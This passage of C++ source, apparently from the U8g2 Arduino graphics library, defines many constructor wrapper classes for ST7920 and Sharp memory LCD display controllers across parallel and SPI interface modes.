uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_160x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_160X32_F_6800 : public U8G2 {\n  public: U8G2_ST7920_160X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_160x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_160X32_1_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_160X32_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_160x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_160X32_1_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_160X32_1_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_160x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_160X32_1_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_160X32_1_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_160x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_160X32_2_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_160X32_2_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_160x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_160X32_2_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_160X32_2_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_160x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_160X32_2_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_160X32_2_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_160x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_160X32_F_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_160X32_F_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_160x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_160X32_F_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_160X32_F_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_160x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_160X32_F_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_160X32_F_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_160x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_192X32_1_8080 : public U8G2 {\n  public: U8G2_ST7920_192X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_192x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_192X32_2_8080 : public U8G2 {\n  public: U8G2_ST7920_192X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_192x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_192X32_F_8080 : public U8G2 {\n  public: U8G2_ST7920_192X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_192x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_192X32_1_6800 : public U8G2 {\n  public: U8G2_ST7920_192X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_192x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_192X32_2_6800 : public U8G2 {\n  public: U8G2_ST7920_192X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_192x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_192X32_F_6800 : public U8G2 {\n  public: U8G2_ST7920_192X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_192x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_192X32_1_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_192X32_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_192x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_192X32_1_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_192X32_1_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_192x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_192X32_1_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_192X32_1_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_192x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_192X32_2_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_192X32_2_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_192x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_192X32_2_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_192X32_2_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_192x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_192X32_2_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_192X32_2_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_192x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_192X32_F_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_192X32_F_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_192x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_192X32_F_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_192X32_F_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_192x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_192X32_F_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_192X32_F_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_192x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_128X64_1_8080 : public U8G2 {\n  public: U8G2_ST7920_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_128X64_2_8080 : public U8G2 {\n  public: U8G2_ST7920_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_128X64_F_8080 : public U8G2 {\n  public: U8G2_ST7920_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_p_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_128X64_1_6800 : public U8G2 {\n  public: U8G2_ST7920_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_128X64_2_6800 : public U8G2 {\n  public: U8G2_ST7920_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_128X64_F_6800 : public U8G2 {\n  public: U8G2_ST7920_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7920_128X64_1_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_128X64_1_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_128X64_1_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_128X64_1_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_128X64_1_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_128X64_1_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_128X64_2_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_128X64_2_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_128X64_2_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_128X64_2_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_128X64_2_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_128X64_2_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_128X64_F_SW_SPI : public U8G2 {\n  public: U8G2_ST7920_128X64_F_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7920_128X64_F_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_128X64_F_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7920_128X64_F_2ND_HW_SPI : public U8G2 {\n  public: U8G2_ST7920_128X64_F_2ND_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7920_s_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_LS013B7DH03_128X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH03_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh03_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH03_128X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH03_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh03_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH03_128X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH03_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh03_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH03_128X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH03_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh03_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH03_128X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH03_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh03_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH03_128X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH03_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh03_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH03_128X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH03_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh03_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH03_128X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH03_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh03_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH03_128X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH03_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh03_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_400X240_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_400X240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_400x240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_400X240_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_400X240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_400x240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_400X240_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_400X240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_400x240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_M0_400X240_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_M0_400X240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_m0_400x240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_M0_400X240_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_M0_400X240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_m0_400x240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_M0_400X240_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_M0_400X240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_m0_400x240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    